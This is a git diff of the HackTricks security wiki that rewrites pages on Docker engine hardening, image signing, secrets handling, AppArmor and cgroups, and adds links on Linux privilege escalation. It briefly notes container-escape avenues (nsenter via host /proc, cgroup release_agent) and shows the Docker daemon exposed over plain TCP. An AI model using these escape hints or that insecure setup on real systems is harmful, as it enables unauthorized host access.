* [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation)\
|
||||
* [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)\
|
||||
* [https://github.com/rtcrowley/linux-private-i](https://github.com/rtcrowley/linux-private-i)
|
||||
* [https://www.linux.com/news/what-socket/](https://www.linux.com/news/what-socket/)
|
||||
* [https://muzec0318.github.io/posts/PG/peppo.html](https://muzec0318.github.io/posts/PG/peppo.html)
|
||||
* [https://www.linuxjournal.com/article/7744](https://www.linuxjournal.com/article/7744)
|
||||
* [https://blog.certcube.com/suid-executables-linux-privilege-escalation/](https://blog.certcube.com/suid-executables-linux-privilege-escalation/)
|
||||
* [https://juggernaut-sec.com/sudo-part-2-lpe](https://juggernaut-sec.com/sudo-part-2-lpe)
|
||||
* [https://linuxconfig.org/how-to-manage-acls-on-linux](https://linuxconfig.org/how-to-manage-acls-on-linux)
|
||||
* [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
* [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -175,7 +175,7 @@ bash-4.4#
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -492,7 +492,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -24,34 +24,34 @@ Get Access Today:
|
|||
|
||||
## **Basic Docker Engine Security**
|
||||
|
||||
Docker engine does the heavy lifting of running and managing Containers. Docker engine uses Linux kernel features like **Namespaces** and **Cgroups** to provide basic **isolation** across Containers. It also uses features like **Capabilities dropping**, **Seccomp**, **SELinux/AppArmor to achieve a better isolation**.
|
||||
The **Docker engine** employs the Linux kernel's **Namespaces** and **Cgroups** to isolate containers, offering a basic layer of security. Additional protection is provided through **Capabilities dropping**, **Seccomp**, and **SELinux/AppArmor**, enhancing container isolation. An **auth plugin** can further restrict user actions.
|
||||
|
||||
Finally, an **auth plugin** can be used to **limit the actions** users can perform.
|
||||
![Docker Security](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
|
||||
|
||||
![](<../../../.gitbook/assets/image (625) (1) (1).png>)
|
||||
### Secure Access to Docker Engine
|
||||
|
||||
### **Docker engine secure access**
|
||||
The Docker engine can be accessed either locally via a Unix socket or remotely using HTTP. For remote access, it's essential to employ HTTPS and **TLS** to ensure confidentiality, integrity, and authentication.
|
||||
|
||||
Docker client can access Docker engine **locally using Unix socket or remotely using http** mechanism. To use it remotely, it is needed to use https and **TLS** so that confidentiality, integrity and authentication can be ensured.
|
||||
|
||||
By default listens on the Unix socket `unix:///var/`\
|
||||
`run/docker.sock` and in Ubuntu distributions, Docker start options are specified in `/etc/default/docker`. To allow Docker API and client to access Docker engine remotely, we need to **expose Docker daemon using http socket**. This can be done by:
|
||||
The Docker engine, by default, listens on the Unix socket at `unix:///var/run/docker.sock`. On Ubuntu systems, Docker's startup options are defined in `/etc/default/docker`. To enable remote access to the Docker API and client, expose the Docker daemon over an HTTP socket by adding the following settings:
|
||||
|
||||
```bash
|
||||
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H
|
||||
tcp://192.168.56.101:2376" -> add this to /etc/default/docker
|
||||
Sudo service docker restart -> Restart Docker daemon
|
||||
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
|
||||
sudo service docker restart
|
||||
```
|
||||
|
||||
Exposing Docker daemon using http is not a good practice and it is needed to secure the connection using https. There are two options: first option is for **client to verify server identity** and in second option **both client and server verify each other’s identity**. Certificates establish the identity of a server. For an example of both options [**check this page**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
|
||||
However, exposing the Docker daemon over HTTP is not recommended due to security concerns. It's advisable to secure connections using HTTPS. There are two main approaches to securing the connection:
|
||||
1. The client verifies the server's identity.
|
||||
2. Both the client and server mutually authenticate each other's identity.
|
||||
|
||||
### **Container image security**
|
||||
Certificates are utilized to confirm a server's identity. For detailed examples of both methods, refer to [**this guide**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
|
||||
|
||||
Container images are stored either in private repository or public repository. Following are the options that Docker provides for storing Container images:
|
||||
### Security of Container Images
|
||||
|
||||
* [Docker hub](https://hub.docker.com) – This is a public registry service provided by Docker
|
||||
* [Docker registry](https://github.com/%20docker/distribution) – This is an open source project that users can use to host their own registry.
|
||||
* [Docker trusted registry](https://www.docker.com/docker-trusted-registry) – This is Docker’s commercial implementation of Docker registry and it provides role based user authentication along with LDAP directory service integration.
|
||||
Container images can be stored in either private or public repositories. Docker offers several storage options for container images:
|
||||
|
||||
* **[Docker Hub](https://hub.docker.com)**: A public registry service from Docker.
|
||||
* **[Docker Registry](https://github.com/docker/distribution)**: An open-source project allowing users to host their own registry.
|
||||
* **[Docker Trusted Registry](https://www.docker.com/docker-trusted-registry)**: Docker's commercial registry offering, featuring role-based user authentication and integration with LDAP directory services.
|
||||
|
||||
### Image Scanning
|
||||
|
||||
|
@ -99,43 +99,22 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
|
|||
|
||||
### Docker Image Signing
|
||||
|
||||
Docker Container images can be stored either in public or private registry. It is needed to **sign** **Container** images to be able to confirm images haven't being tampered. Content **publisher** takes care of **signing** Container image and pushing it into the registry.\
|
||||
Following are some details on Docker content trust:
|
||||
Docker image signing ensures the security and integrity of images used in containers. Here's a condensed explanation:
|
||||
|
||||
* The Docker content trust is an implementation of the [Notary open source project](https://github.com/docker/notary). The Notary open source project is based on [The Update Framework (TUF) project](https://theupdateframework.github.io).
|
||||
* Docker content **trust is enabled** with `export DOCKER_CONTENT_TRUST=1`. As of Docker version 1.10, content trust is **not enabled by default**.
|
||||
* **When** content trust is **enabled**, we can **pull only signed images**. When image is pushed, we need to enter tagging key.
|
||||
* When the publisher **pushes** the image for the **first** **time** using docker push, there is a need to enter a **passphrase** for the **root key and tagging key**. Other keys are generated automatically.
|
||||
* Docker has also added support for hardware keys using Yubikey and details are available [here](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
|
||||
- **Docker Content Trust** utilizes the Notary project, based on The Update Framework (TUF), to manage image signing. For more info, see [Notary](https://github.com/docker/notary) and [TUF](https://theupdateframework.github.io).
|
||||
- To activate Docker content trust, set `export DOCKER_CONTENT_TRUST=1`. This feature is off by default in Docker version 1.10 and later.
|
||||
- With this feature enabled, only signed images can be downloaded. Initial image push requires setting passphrases for the root and tagging keys, with Docker also supporting Yubikey for enhanced security. More details can be found [here](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
|
||||
- Attempting to pull an unsigned image with content trust enabled results in a "No trust data for latest" error.
|
||||
- For image pushes after the first, Docker asks for the repository key's passphrase to sign the image.
|
||||
|
||||
Following is the **error** we get when **content trust is enabled and image is not signed**.
|
||||
|
||||
```shell-session
|
||||
$ docker pull smakam/mybusybox
|
||||
Using default tag: latest
|
||||
No trust data for latest
|
||||
```
|
||||
|
||||
Following output shows Container **image being pushed to Docker hub with signing** enabled. Since this is not the first time, user is requested to enter only the passphrase for repository key.
|
||||
|
||||
```shell-session
|
||||
$ docker push smakam/mybusybox:v2
|
||||
The push refers to a repository [docker.io/smakam/mybusybox]
|
||||
a7022f99b0cc: Layer already exists
|
||||
5f70bf18a086: Layer already exists
|
||||
9508eff2c687: Layer already exists
|
||||
v2: digest: sha256:8509fa814029e1c1baf7696b36f0b273492b87f59554a33589e1bd6283557fc9 size: 2205
|
||||
Signing and pushing trust metadata
|
||||
Enter passphrase for repository key with ID 001986b (docker.io/smakam/mybusybox):
|
||||
```
|
||||
|
||||
It is needed to store root key, repository key as well as passphrase in a safe place. Following command can be used to take backup of private keys:
|
||||
To back up your private keys, use the command:
|
||||
|
||||
```bash
|
||||
tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
|
||||
```
|
||||
|
||||
When I changed Docker host, I had to move the root keys and repository keys to operate from the new host.
|
||||
When switching Docker hosts, it's necessary to move the root and repository keys to maintain operations.
|
||||
|
||||
|
||||
***
|
||||
|
||||
|
@ -153,20 +132,22 @@ Get Access Today:
|
|||
|
||||
<summary>Summary of Container Security Features</summary>
|
||||
|
||||
**Namespaces**
|
||||
### Main Process Isolation Features
|
||||
|
||||
Namespaces are useful to isolate a project from the other ones, isolating process communications, network, mounts... It's useful to isolate the docker process from other processes (and even the /proc folder) so it cannot escape abusing other processes.
|
||||
In containerized environments, isolating projects and their processes is paramount for security and resource management. Here's a simplified explanation of key concepts:
|
||||
|
||||
It could be possible "escape" or more exactly **create new namespaces** using the binary **`unshare`** (that uses the **`unshare`** syscall). Docker by default prevents it, but kubernetes doesn't (at the time of this writtiing).\
|
||||
Ayway, this is helpful to create new namespaces, but **not to get back to the host defaults namespaces** (unless you have access to some `/proc` inside the host namespaces, where you could use **`nsenter`** to enter in the host namespaces.).
|
||||
#### **Namespaces**
|
||||
- **Purpose**: Ensure isolation of resources like processes, network, and filesystems. Particularly in Docker, namespaces keep a container's processes separate from the host and other containers.
|
||||
- **Usage of `unshare`**: The `unshare` command (or the underlying syscall) is utilized to create new namespaces, providing an added layer of isolation. However, while Kubernetes doesn't inherently block this, Docker does.
|
||||
- **Limitation**: Creating new namespaces doesn't allow a process to revert to the host's default namespaces. To penetrate the host namespaces, one would typically require access to the host's `/proc` directory, using `nsenter` for entry.
|
||||
|
||||
**CGroups**
|
||||
#### **Control Groups (CGroups)**
|
||||
- **Function**: Primarily used for allocating resources among processes.
|
||||
- **Security Aspect**: CGroups themselves don't offer isolation security, except for the `release_agent` feature, which, if misconfigured, could potentially be exploited for unauthorized access.
|
||||
|
||||
This allows to limit resources and doesn't affect the security of the isolation of the process (except for the `release_agent` that could be used to escape).
|
||||
|
||||
**Capabilities Drop**
|
||||
|
||||
I find this to be one of the **most important** features regarding the process isolation security. This is because without the capabilities, even if the process is running as root **you won't be able to do some privileged actions** (because the called **`syscall`** will return permission error because the process doesn't have the needed capabilities).
|
||||
#### **Capability Drop**
|
||||
- **Importance**: It's a crucial security feature for process isolation.
|
||||
- **Functionality**: It restricts the actions a root process can perform by dropping certain capabilities. Even if a process runs with root privileges, lacking the necessary capabilities prevents it from executing privileged actions, as the syscalls will fail due to insufficient permissions.
|
||||
|
||||
These are the **remaining capabilities** after the process drop the others:
|
||||
|
||||
|
@ -258,9 +239,13 @@ This is a security feature that allows Docker to **limit the syscalls** that can
|
|||
|
||||
### SELinux in Docker
|
||||
|
||||
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) is a **labeling** **system**. Every **process** and every **file** system object has a **label**. SELinux policies define rules about what a **process label is allowed to do with all of the other labels** on the system.
|
||||
- **Labeling System**: SELinux assigns a unique label to every process and filesystem object.
|
||||
- **Policy Enforcement**: It enforces security policies that define what actions a process label can perform on other labels within the system.
|
||||
- **Container Process Labels**: When container engines initiate container processes, they are typically assigned a confined SELinux label, commonly `container_t`.
|
||||
- **File Labeling within Containers**: Files within the container are usually labeled as `container_file_t`.
|
||||
- **Policy Rules**: The SELinux policy primarily ensures that processes with the `container_t` label can only interact (read, write, execute) with files labeled as `container_file_t`.
|
||||
|
||||
Container engines launch **container processes with a single confined SELinux label**, usually `container_t`, and then set the container inside of the container to be labeled `container_file_t`. The SELinux policy rules basically say that the **`container_t` processes can only read/write/execute files labeled `container_file_t`**.
|
||||
This mechanism ensures that even if a process within a container is compromised, it's confined to interacting only with objects that have the corresponding labels, significantly limiting the potential damage from such compromises.
|
||||
|
||||
{% content-ref url="../selinux.md" %}
|
||||
[selinux.md](../selinux.md)
|
||||
|
@ -268,7 +253,12 @@ Container engines launch **container processes with a single confined SELinux la
|
|||
|
||||
### AuthZ & AuthN
|
||||
|
||||
An authorization plugin **approves** or **denies** **requests** to the Docker **daemon** based on both the current **authentication** context and the **command** **context**. The **authentication** **context** contains all **user details** and the **authentication** **method**. The **command context** contains all the **relevant** **request** data.
|
||||
In Docker, an authorization plugin plays a crucial role in security by deciding whether to allow or block requests to the Docker daemon. This decision is made by examining two key contexts:
|
||||
|
||||
- **Authentication Context**: This includes comprehensive information about the user, such as who they are and how they've authenticated themselves.
|
||||
- **Command Context**: This comprises all pertinent data related to the request being made.
|
||||
|
||||
These contexts help ensure that only legitimate requests from authenticated users are processed, enhancing the security of Docker operations.
|
||||
|
||||
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
|
||||
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
||||
|
@ -337,58 +327,44 @@ For more **`--security-opt`** options check: [https://docs.docker.com/engine/ref
|
|||
|
||||
## Other Security Considerations
|
||||
|
||||
### Managing Secrets
|
||||
### Managing Secrets: Best Practices
|
||||
|
||||
First of all, **do not put them inside your image!**
|
||||
It's crucial to avoid embedding secrets directly in Docker images or using environment variables, as these methods expose your sensitive information to anyone with access to the container through commands like `docker inspect` or `exec`.
|
||||
|
||||
Also, **don’t use environment variables** for your sensitive info, either. Anyone w**ho can run `docker inspect` or `exec` into the container can find your secret**.
|
||||
**Docker volumes** are a safer alternative, recommended for accessing sensitive information. They can be utilized as a temporary filesystem in memory, mitigating the risks associated with `docker inspect` and logging. However, root users and those with `exec` access to the container might still access the secrets.
|
||||
|
||||
Docker volumes are better. They are the recommended way to access your sensitive info in the Docker docs. You can **use a volume as temporary file system held in memory**. Volumes remove the `docker inspect` and the logging risk. However, **root users could still see the secret, as could anyone who can `exec` into the container**.
|
||||
**Docker secrets** offer an even more secure method for handling sensitive information. For instances requiring secrets during the image build phase, **BuildKit** presents an efficient solution with support for build-time secrets, enhancing build speed and providing additional features.
|
||||
|
||||
Even **better than volumes, use Docker secrets**.
|
||||
To leverage BuildKit, it can be activated in three ways:
|
||||
|
||||
If you just need the **secret in your image**, you can use **BuildKit**. BuildKit cuts build time significantly and has other nice features, including **build-time secrets support**.
|
||||
1. Through an environment variable: `export DOCKER_BUILDKIT=1`
|
||||
2. By prefixing commands: `DOCKER_BUILDKIT=1 docker build .`
|
||||
3. By enabling it by default in the Docker configuration: `{ "features": { "buildkit": true } }`, followed by a Docker restart.
|
||||
|
||||
There are three ways to specify the BuildKit backend so you can use its features now.:
|
||||
|
||||
1. Set it as an environment variable with `export DOCKER_BUILDKIT=1`.
|
||||
2. Start your `build` or `run` command with `DOCKER_BUILDKIT=1`.
|
||||
3. Enable BuildKit by default. Set the configuration in /_etc/docker/daemon.json_ to _true_ with: `{ "features": { "buildkit": true } }`. Then restart Docker.
|
||||
4. Then you can use secrets at build time with the `--secret` flag like this:
|
||||
BuildKit allows for the use of build-time secrets with the `--secret` option, ensuring these secrets are not included in the image build cache or the final image, using a command like:
|
||||
|
||||
```bash
|
||||
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
|
||||
```
|
||||
|
||||
Where your file specifies your secrets as key-value pair.
|
||||
|
||||
These secrets are excluded from the image build cache. and from the final image.
|
||||
|
||||
If you need your **secret in your running container**, and not just when building your image, use **Docker Compose or Kubernetes**.
|
||||
|
||||
With Docker Compose, add the secrets key-value pair to a service and specify the secret file. Hat tip to [Stack Exchange answer](https://serverfault.com/a/936262/535325) for the Docker Compose secrets tip that the example below is adapted from.
|
||||
|
||||
Example `docker-compose.yml` with secrets:
|
||||
For secrets needed in a running container, **Docker Compose and Kubernetes** offer robust solutions. Docker Compose utilizes a `secrets` key in the service definition for specifying secret files, as shown in a `docker-compose.yml` example:
|
||||
|
||||
```yaml
|
||||
version: "3.7"
|
||||
|
||||
services:
|
||||
|
||||
my_service:
|
||||
image: centos:7
|
||||
entrypoint: "cat /run/secrets/my_secret"
|
||||
secrets:
|
||||
- my_secret
|
||||
|
||||
secrets:
|
||||
my_secret:
|
||||
file: ./my_secret_file.txt
|
||||
```
|
||||
|
||||
Then start Compose as usual with `docker-compose up --build my_service`.
|
||||
This configuration allows for the use of secrets when starting services with Docker Compose.
|
||||
|
||||
If you’re using [Kubernetes](https://kubernetes.io/docs/concepts/configuration/secret/), it has support for secrets. [Helm-Secrets](https://github.com/futuresimple/helm-secrets) can help make secrets management in K8s easier. Additionally, K8s has Role Based Access Controls (RBAC) — as does Docker Enterprise. RBAC makes access Secrets management more manageable and more secure for teams.
|
||||
In Kubernetes environments, secrets are natively supported and can be further managed with tools like [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Kubernetes' Role Based Access Controls (RBAC) enhances secret management security, similar to Docker Enterprise.
|
||||
|
||||
### gVisor
|
||||
|
||||
|
@ -451,6 +427,10 @@ If you have access to the docker socket or have access to a user in the **docker
|
|||
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/)
|
||||
* [https://en.wikipedia.org/wiki/Linux\_namespaces](https://en.wikipedia.org/wiki/Linux\_namespaces)
|
||||
* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
|
||||
* [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
|
||||
* [https://docs.docker.com/engine/extend/plugins_authorization](https://docs.docker.com/engine/extend/plugins_authorization)
|
||||
* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
|
||||
* [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
|
@ -16,23 +16,19 @@ Other ways to support HackTricks:
|
|||
|
||||
## Basic Information
|
||||
|
||||
**AppArmor** is a kernel enhancement to confine **programs** to a **limited** set of **resources** with **per-program profiles**. Profiles can **allow** **capabilities** like network access, raw socket access, and the permission to read, write, or execute files on matching paths.
|
||||
AppArmor is a **kernel enhancement designed to restrict the resources available to programs through per-program profiles**, effectively implementing Mandatory Access Control (MAC) by tying access control attributes directly to programs instead of users. This system operates by **loading profiles into the kernel**, usually during boot, and these profiles dictate what resources a program can access, such as network connections, raw socket access, and file permissions.
|
||||
|
||||
It's a Mandatory Access Control or **MAC** that binds **access control** attributes **to programs rather than to users**.\
|
||||
AppArmor confinement is provided via **profiles loaded into the kernel**, typically on boot.\
|
||||
AppArmor profiles can be in one of **two modes**:
|
||||
There are two operational modes for AppArmor profiles:
|
||||
|
||||
* **Enforcement**: Profiles loaded in enforcement mode will result in **enforcement of the policy** defined in the profile **as well as reporting** policy violation attempts (either via syslog or auditd).
|
||||
* **Complain**: Profiles in complain mode **will not enforce policy** but instead **report** policy **violation** attempts.
|
||||
- **Enforcement Mode**: This mode actively enforces the policies defined within the profile, blocking actions that violate these policies and logging any attempts to breach them through systems like syslog or auditd.
|
||||
- **Complain Mode**: Unlike enforcement mode, complain mode does not block actions that go against the profile's policies. Instead, it logs these attempts as policy violations without enforcing restrictions.
|
||||
|
||||
AppArmor differs from some other MAC systems on Linux: it is **path-based**, it allows mixing of enforcement and complain mode profiles, it uses include files to ease development, and it has a far lower barrier to entry than other popular MAC systems.
|
||||
### Components of AppArmor
|
||||
|
||||
### Parts of AppArmor
|
||||
|
||||
* **Kernel module**: Does the actual work
|
||||
* **Policies**: Defines the behaviour and containment
|
||||
* **Parser**: Loads the policies into kernel
|
||||
* **Utilities**: Usermode programs to interact with apparmor
|
||||
- **Kernel Module**: Responsible for the enforcement of policies.
|
||||
- **Policies**: Specify the rules and restrictions for program behavior and resource access.
|
||||
- **Parser**: Loads policies into the kernel for enforcement or reporting.
|
||||
- **Utilities**: These are user-mode programs that provide an interface for interacting with and managing AppArmor.
|
||||
|
||||
### Profiles path
|
||||
|
||||
|
|
|
@ -21,6 +21,8 @@ Other ways to support HackTricks:
|
|||
|
||||
Docker Auth plugins are **external** **plugins** you can use to **allow/deny** **actions** requested to the Docker Daemon **depending** on the **user** that requested it and the **action** **requested**.
|
||||
|
||||
**[The following info is from the docs](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)**
|
||||
|
||||
When an **HTTP** **request** is made to the Docker **daemon** through the CLI or via the Engine API, the **authentication** **subsystem** **passes** the request to the installed **authentication** **plugin**(s). The request contains the user (caller) and command context. The **plugin** is responsible for deciding whether to **allow** or **deny** the request.
|
||||
|
||||
The sequence diagrams below depict an allow and deny authorization flow:
|
||||
|
|
|
@ -16,9 +16,9 @@ Other ways to support HackTricks:
|
|||
|
||||
## Basic Information
|
||||
|
||||
**Linux control groups**, also known as cgroups, are a Linux kernel feature that allows you to **limit**, police, and prioritize **system resources** for a collection of processes. Cgroups provide a way to **manage and isolate the resource usage** (CPU, memory, disk I/O, network, etc.) of groups of processes in a system. This can be useful for many purposes, such as limiting the resources available to a particular group of processes, isolating certain types of workloads from others, or prioritizing the use of system resources between different groups of processes.
|
||||
**Linux Control Groups**, or **cgroups**, are a feature of the Linux kernel that allows the allocation, limitation, and prioritization of system resources like CPU, memory, and disk I/O among process groups. They offer a mechanism for **managing and isolating the resource usage** of process collections, beneficial for purposes such as resource limitation, workload isolation, and resource prioritization among different process groups.
|
||||
|
||||
There are **two versions of cgroups**, 1 and 2, and both are currently in use and can be configured simultaneously on a system. The most **significant difference** between cgroups version 1 and **version 2** is that the latter introduced a new hierarchical organization for cgroups, where groups can be arranged in a **tree-like structure** with parent-child relationships. This allows for a more flexible and fine-grained control over the allocation of resources between different groups of processes.
|
||||
There are **two versions of cgroups**: version 1 and version 2. Both can be used concurrently on a system. The primary distinction is that **cgroups version 2** introduces a **hierarchical, tree-like structure**, enabling more nuanced and detailed resource distribution among process groups. Additionally, version 2 brings various enhancements, including:
|
||||
|
||||
In addition to the new hierarchical organization, cgroups version 2 also introduced **several other changes and improvements**, such as support for **new resource controllers**, better support for legacy applications, and improved performance.
|
||||
|
||||
|
@ -41,59 +41,63 @@ $ cat /proc/self/cgroup
|
|||
0::/user.slice/user-1000.slice/session-2.scope
|
||||
```
|
||||
|
||||
Don’t be alarmed if the **output is significantly shorter** on your system; this just means that you probably **have only cgroups v2**. Every line of output here starts with a number and is a different cgroup. Here are some pointers on how to read it:
|
||||
The output structure is as follows:
|
||||
|
||||
* **Numbers 2–12 are for cgroups v1**. The **controllers** for those are listed next to the number.
|
||||
* **Number 1** is also for **version 1**, but it does not have a controller. This cgroup is for **management purposes** only (in this case, systemd configured it).
|
||||
* The last line, **number 0**, is for **cgroups v2**. No controllers are visible here. On a system that doesn’t have cgroups v1, this will be the only line of output.
|
||||
* **Names are hierarchical and look like parts of file paths**. You can see in this example that some of the cgroups are named /user.slice and others /user.slice/user-1000.slice/session-2.scope.
|
||||
* The name /testcgroup was created to show that in cgroups v1, the cgroups for a process can be completely independent.
|
||||
* **Names under user.slice** that include session are login sessions, assigned by systemd. You’ll see them when you’re looking at a shell’s cgroups. The **cgroups** for your **system services** will be **under system.slice**.
|
||||
- **Numbers 2–12**: cgroups v1, with each line representing a different cgroup. Controllers for these are specified adjacent to the number.
|
||||
- **Number 1**: Also cgroups v1, but solely for management purposes (set by, e.g., systemd), and lacks a controller.
|
||||
- **Number 0**: Represents cgroups v2. No controllers are listed, and this line is exclusive on systems only running cgroups v2.
|
||||
- The **names are hierarchical**, resembling file paths, indicating the structure and relationship between different cgroups.
|
||||
- **Names like /user.slice or /system.slice** specify the categorization of cgroups, with user.slice typically for login sessions managed by systemd and system.slice for system services.
|
||||
|
||||
### Viewing cgroups
|
||||
|
||||
Cgroups are typically **accessed through the filesystem**. This is in contrast to the traditional Unix system call interface for interacting with the kernel.\
|
||||
To explore the cgroup setup of a shell, you can look in the `/proc/self/cgroup` file to find the shell's cgroup, and then navigate to the `/sys/fs/cgroup` (or `/sys/fs/cgroup/unified`) directory and look for a **directory with the same name as the cgroup**. Changing to this directory and looking around will allow you to see the various **settings and resource usage information for the cgroup**.
|
||||
The filesystem is typically utilized for accessing **cgroups**, diverging from the Unix system call interface traditionally used for kernel interactions. To investigate a shell's cgroup configuration, one should examine the **/proc/self/cgroup** file, which reveals the shell's cgroup. Then, by navigating to the **/sys/fs/cgroup** (or **`/sys/fs/cgroup/unified`**) directory and locating a directory that shares the cgroup's name, one can observe various settings and resource usage information pertinent to the cgroup.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (10) (2) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
![Cgroup Filesystem](../../../.gitbook/assets/image%20(10)%20(2)%20(2).png)
|
||||
|
||||
Among the many files that can be here, **the primary cgroup interface files begin with `cgroup`**. Start by looking at `cgroup.procs` (using cat is fine), which lists the processes in the cgroup. A similar file, `cgroup.threads`, also includes threads.
|
||||
